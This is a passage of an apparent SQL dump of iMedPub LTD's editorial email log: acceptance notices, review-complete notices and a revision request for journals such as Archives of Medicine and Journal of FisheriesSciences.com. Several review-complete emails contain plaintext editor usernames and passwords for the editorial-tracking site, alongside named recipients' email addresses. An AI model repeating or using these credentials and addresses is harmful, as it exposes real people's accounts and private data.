align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipjnn-20-5245</b><br />\r\n            <br />\r\n            Article Title: <b>Consideration of the effects of COVID-19 on the mental health of students</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.jneuro.com/\" target=\"_blank\">Journal of Neurology and Neuroscience</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Shah</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Journal of Neurology and Neuroscience</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2020-09-23</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:invoiceproof@galleyproofs.com\">invoiceproof@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.jneuro.com/\">Journal of Neurology and Neuroscience</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','divsha23@bergen.org',5245,'2020-09-23',75),(2020,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipaom-20-6013</b><br />\r\n            <br />\r\n            Article Title: <b>Rapid evolvement of De Winter waves into ST elevation myocardial infarction: case report</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.archivesofmedicine.com/\" target=\"_blank\">Archives of Medicine</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>sedghiani</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Archives of Medicine</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2020-09-24</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:invoiceproof@galleyproofs.com\">invoiceproof@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.archivesofmedicine.com/\">Archives of Medicine</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','ines.sedghiani@fmt.utm.tn',6013,'2020-09-24',85),(2029,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipfs-20-6064</b><br />\r\n            <br />\r\n            Article Title: <b>Contribution to the study of growth of Luciobarbus mascarensis (teleostei: cyprinidae) in two freshwater systems in western Algeria</b><br />\r\n            <br />\r\n            Corresponding Author: <b>Sid Ahmed Benali</b><br />\r\n            <br />\r\n            Journal Title: <b>Journal of FisheriesSciences.com</b><br />\r\n            <br />\r\n            Dear Dr. <b>CAN</b><br />\r\n            <br />\r\n            All reviews for manuscript <b>ipfs-20-6064</b> have been submitted<br />\r\n            <br />\r\n            Please click on this link to access the submission : <a href=\"https://www.imedpub.com/editorial-tracking/\">https://www.imedpub.com/editorial-tracking/</a>, Please find the below login credentials<br />\r\n            <br />\r\n            <b>User Name:</b> prof._dr._fatih<br />\r\n            <b>Password:</b> NzMOXR3S<br />\r\n            <br />\r\n            Kind regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.fisheriessciences.com/\">Journal of FisheriesSciences.com</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',2,'Editor Notice All Reviews Complete','fcan@mku.edu.tr',6064,'2020-09-28',645),(2030,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipfs-20-6064</b><br />\r\n            <br />\r\n            Article Title: <b>Contribution to the study of growth of Luciobarbus mascarensis (teleostei: cyprinidae) in two freshwater systems in western Algeria</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.fisheriessciences.com/\" target=\"_blank\">Journal of FisheriesSciences.com</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Benali</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Journal of FisheriesSciences.com</b>.<br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:galleyproof@journalinvoice.com\">galleyproof@journalinvoice.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.fisheriessciences.com/\">Journal of FisheriesSciences.com</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','sidahmed.benali@univ-mosta.dz',6064,'2020-09-28',645),(2031,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipfs-20-6076</b><br />\r\n            <br />\r\n            Article Title: <b>Lake elevation drives stocking success of Chinook salmon in Lake Oahe, South Dakota, a large Midwest reservoir</b><br />\r\n            <br />\r\n            Corresponding Author: <b>Mark Fincel</b><br />\r\n            <br />\r\n            Journal Title: <b>Journal of FisheriesSciences.com</b><br />\r\n            <br />\r\n            Dear Dr. <b>BUCK</b><br />\r\n            <br />\r\n            All reviews for manuscript <b>ipfs-20-6076</b> have been submitted<br />\r\n            <br />\r\n            Please click on this link to access the submission : <a href=\"https://www.imedpub.com/editorial-tracking/\">https://www.imedpub.com/editorial-tracking/</a>, Please find the below login credentials<br />\r\n            <br />\r\n            <b>User Name:</b> prof._dr._bela_h.<br />\r\n            <b>Password:</b> PTDXyt0Q<br />\r\n            <br />\r\n            Kind regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.fisheriessciences.com/\">Journal of FisheriesSciences.com</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',2,'Editor Notice All Reviews Complete','Bela.H.Buck@awi.de',6076,'2020-09-28',645),(2032,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipfs-20-6076</b><br />\r\n            <br />\r\n            Article Title: <b>Lake elevation drives stocking success of Chinook salmon in Lake Oahe, South Dakota, a large Midwest reservoir</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.fisheriessciences.com/\" target=\"_blank\">Journal of FisheriesSciences.com</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Fincel</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Journal of FisheriesSciences.com</b>.<br />\r\n            <br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:galleyproof@journalinvoice.com\">galleyproof@journalinvoice.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.fisheriessciences.com/\">Journal of FisheriesSciences.com</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','Mark.Fincel@state.sd.us',6076,'2020-09-28',645),(2033,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipfs-20-5071</b><br />\r\n            <br />\r\n            Article Title: <b>Prevalence and pathology manifestation  of Acanthocephalus ranae infestation in finfishes of Tamilnadu, southeast coast of India</b><br />\r\n            <br />\r\n            Corresponding Author: <b>Sakthivel Alagarsamy</b><br />\r\n            <br />\r\n            Journal Title: <b>Journal of FisheriesSciences.com</b><br />\r\n            <br />\r\n            Dear Dr. <b>BUCK</b><br />\r\n            <br />\r\n            All reviews for manuscript <b>ipfs-20-5071</b> have been submitted<br />\r\n            <br />\r\n            Please click on this link to access the submission : <a href=\"https://www.imedpub.com/editorial-tracking/\">https://www.imedpub.com/editorial-tracking/</a>, Please find the below login credentials<br />\r\n            <br />\r\n            <b>User Name:</b> prof._dr._bela_h.<br />\r\n            <b>Password:</b> PTDXyt0Q<br />\r\n            <br />\r\n            Kind regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.fisheriessciences.com/\">Journal of FisheriesSciences.com</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',2,'Editor Notice All Reviews Complete','Bela.H.Buck@awi.de',5071,'2020-09-28',645),(2034,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipfs-20-5071</b><br />\r\n            <br />\r\n            Article Title: <b>Prevalence and pathology manifestation  of Acanthocephalus ranae infestation in finfishes of Tamilnadu, southeast coast of India</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.fisheriessciences.com/\" target=\"_blank\">Journal of FisheriesSciences.com</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Alagarsamy</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Journal of FisheriesSciences.com</b>.<br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:galleyproof@journalinvoice.com\">galleyproof@journalinvoice.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.fisheriessciences.com/\">Journal of FisheriesSciences.com</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','asakthi27@gmail.com',5071,'2020-09-28',645),(2045,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipacm-20-6026</b><br />\r\n            <br />\r\n            Article Title: <b>MLEE typing of potentially virulent Candida albicans and Candida dubliniensis isolated from diabetic patients</b><br />\r\n            <br />\r\n            Corresponding Author: <b>Marcelo Boriollo</b><br />\r\n            <br />\r\n            Journal Title: <b>Archives of Clinical Microbiology</b><br />\r\n            <br />\r\n            Dear Dr. <b>Kawaoka</b><br />\r\n            <br />\r\n            All reviews for manuscript <b>ipacm-20-6026</b> have been submitted<br />\r\n            <br />\r\n            Please click on this link to access the submission : <a href=\"https://www.imedpub.com/editorial-tracking/\">https://www.imedpub.com/editorial-tracking/</a>, Please find the below login credentials<br />\r\n            <br />\r\n            <b>User Name:</b> yoshihiro<br />\r\n            <b>Password:</b> 4TNl5fB6<br />\r\n            <br />\r\n            Kind regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.acmicrob.com/\">Archives of Clinical Microbiology</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',2,'Editor Notice All Reviews Complete','kawaoka@ims.u-tokyo.ac.jp',6026,'2020-09-30',248),(2046,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipacm-20-6026</b><br />\r\n            <br />\r\n            Article Title: <b>MLEE typing of potentially virulent Candida albicans and Candida dubliniensis isolated from diabetic patients</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.acmicrob.com/\" target=\"_blank\">Archives of Clinical Microbiology</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Boriollo</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Archives of Clinical Microbiology</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2020-09-30</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:galleyproof@journalinvoice.com\">galleyproof@journalinvoice.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.acmicrob.com/\">Archives of Clinical Microbiology</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','marcelofgb@yahoo.com.br',6026,'2020-09-30',248),(2055,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipaom-20-6067</b><br />\r\n            <br />\r\n            Article Title: <b>Role of ultra-low dose chest CT and chest radiography for the management of Coronavirus Disease 2019 (COVID-19) in the emergency setting</b><br />\r\n            <br />\r\n            Corresponding Author: <b>Gianluca Argentieri</b><br />\r\n            <br />\r\n            Journal Title: <b>Archives of Medicine</b><br />\r\n            <br />\r\n            Dear Dr. <b>L. Cook</b><br />\r\n            <br />\r\n            All reviews for manuscript <b>ipaom-20-6067</b> have been submitted<br />\r\n            <br />\r\n            Please click on this link to access the submission : <a href=\"https://www.imedpub.com/editorial-tracking/\">https://www.imedpub.com/editorial-tracking/</a>, Please find the below login credentials<br />\r\n            <br />\r\n            <b>User Name:</b> jennifer<br />\r\n            <b>Password:</b> rTMjHpr8<br />\r\n            <br />\r\n            Kind regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.archivesofmedicine.com/\">Archives of Medicine</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',2,'Editor Notice All Reviews Complete','jencook@email.arizona.edu',6067,'2020-10-06',85),(2056,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipaom-20-6282</b><br />\r\n            <br />\r\n            Article Title: <b>Redefining medical practice office infection prevention and control during the COVID-19 outbreak</b><br />\r\n            <br />\r\n            Corresponding Author: <b>issa kawalit</b><br />\r\n            <br />\r\n            Journal Title: <b>Archives of Medicine</b><br />\r\n            <br />\r\n            Dear Dr. <b>L. Cook</b><br />\r\n            <br />\r\n            All reviews for manuscript <b>ipaom-20-6282</b> have been submitted<br />\r\n            <br />\r\n            Please click on this link to access the submission : <a href=\"https://www.imedpub.com/editorial-tracking/\">https://www.imedpub.com/editorial-tracking/</a>, Please find the below login credentials<br />\r\n            <br />\r\n            <b>User Name:</b> jennifer<br />\r\n            <b>Password:</b> rTMjHpr8<br />\r\n            <br />\r\n            Kind regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.archivesofmedicine.com/\">Archives of Medicine</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',2,'Editor Notice All Reviews Complete','jencook@email.arizona.edu',6282,'2020-10-06',85),(2058,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>IPJUS-20-5907</b><br />\r\n            <br />\r\n            Article Title: <b>Trapezius muscle reconstruction after resection of a desmoid tumor using an innervated gracilis free flap</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.jusurgery.com/\" target=\"_blank\">Journal of Universal Surgery</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>De Michele</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Journal of Universal Surgery</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2020-10-06</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:invoiceproof@galleyproofs.com\">invoiceproof@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.jusurgery.com/\">Journal of Universal Surgery</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','fdemichele@yahoo.it',5907,'2020-10-06',319),(2062,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipaom-20-6067</b><br />\r\n            <br />\r\n            Article Title: <b>Role of ultra-low dose chest CT and chest radiography for the management of Coronavirus Disease 2019 (COVID-19) in the emergency setting</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.archivesofmedicine.com/\" target=\"_blank\">Archives of Medicine</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Argentieri</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Archives of Medicine</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2020-10-07</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:invoiceproof@galleyproofs.com\">invoiceproof@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.archivesofmedicine.com/\">Archives of Medicine</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','gianluca.argentieri@eoc.ch',6067,'2020-10-08',85),(2067,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipaom-20-6282</b><br />\r\n            <br />\r\n            Article Title: <b>Redefining medical practice office infection prevention and control during the COVID-19 outbreak</b><br />\r\n            <br />\r\n            Journal Title: <b>Archives of Medicine</b><br />\r\n            <br />\r\n            Dear Dr. <b>L. Cook</b><br />\r\n            <br />\r\n            This is to bring to your notice that the article having  <b>ipaom-20-6282</b> for the <b>Archives of Medicine</b> is ready with its revised version.<br />\r\n            <br />\r\n            I would request you to take the assignment for handling this revised copy and expects a prompt decision from your side.<br />\r\n            <br />\r\n            Please submit your decision within 48 hours of submission failing of which will be considered as accepted for publication.<br />\r\n            <br />\r\n            Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.archivesofmedicine.com/\">Archives of Medicine</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',2,'Editor Notice Revision Submitted','jencook@email.arizona.edu',6282,'2020-10-10',85),(2070,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipaom-20-6282</b><br />\r\n            <br />\r\n            Article Title: <b>Redefining medical practice office infection prevention and control during the COVID-19 outbreak</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.archivesofmedicine.com/\" target=\"_blank\">Archives of Medicine</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>kawalit</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Archives of Medicine</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2020-10-12</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:invoiceproof@galleyproofs.com\">invoiceproof@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.archivesofmedicine.com/\">Archives of Medicine</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','ikawalit@yahoo.com',6282,'2020-10-12',85),(2071,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipjnn-20-5126</b><br />\r\n            <br />\r\n            Article Title: <b>Effects of Healthy Aging on Semantic Processing of Familiar Faces: Pilot Study</b><br />\r\n            <br />\r\n            Corresponding Author: <b>Sunghan Kim</b><br />\r\n            <br />\r\n            Journal Title: <b>Journal of Neurology and Neuroscience</b><br />\r\n            <br />\r\n            Dear Dr. <b>Cui</b><br />\r\n            <br />\r\n            All reviews for manuscript <b>ipjnn-20-5126</b> have been submitted<br />\r\n            <br />\r\n            Please click on this link to access the submission : <a href=\"https://www.imedpub.com/editorial-tracking/\">https://www.imedpub.com/editorial-tracking/</a>, Please find the below login credentials<br />\r\n            <br />\r\n            <b>User Name:</b> jianqi<br />\r\n            <b>Password:</b> 6crI6iMT<br />\r\n            <br />\r\n            Kind regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.jneuro.com/\">Journal of Neurology and Neuroscience</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',2,'Editor Notice All Reviews Complete','jianqi@gmail.com',5126,'2020-10-13',75),(2072,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipjnn-20-5187</b><br />\r\n            <br />\r\n            Article Title: <b>Pilot study to determine the extent of chemotherapy-induced polyneuropathy (CIPNP) in breast cancer patients </b><br />\r\n            <br />\r\n            Corresponding Author: <b>Ulf Seifart</b><br />\r\n            <br />\r\n            Journal Title: <b>Journal of Neurology and Neuroscience</b><br />\r\n            <br />\r\n            Dear Dr. <b>Cui</b><br />\r\n            <br />\r\n            All reviews for manuscript <b>ipjnn-20-5187</b> have been submitted<br />\r\n            <br />\r\n            Please click on this link to access the submission : <a href=\"https://www.imedpub.com/editorial-tracking/\">https://www.imedpub.com/editorial-tracking/</a>, Please find the below login credentials<br />\r\n            <br />\r\n            <b>User Name:</b> jianqi<br />\r\n            <b>Password:</b> 6crI6iMT<br />\r\n            <br />\r\n            Kind regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.jneuro.com/\">Journal of Neurology and Neuroscience</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',2,'Editor Notice All Reviews Complete','jianqi@gmail.com',5187,'2020-10-13',75),(2073,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; 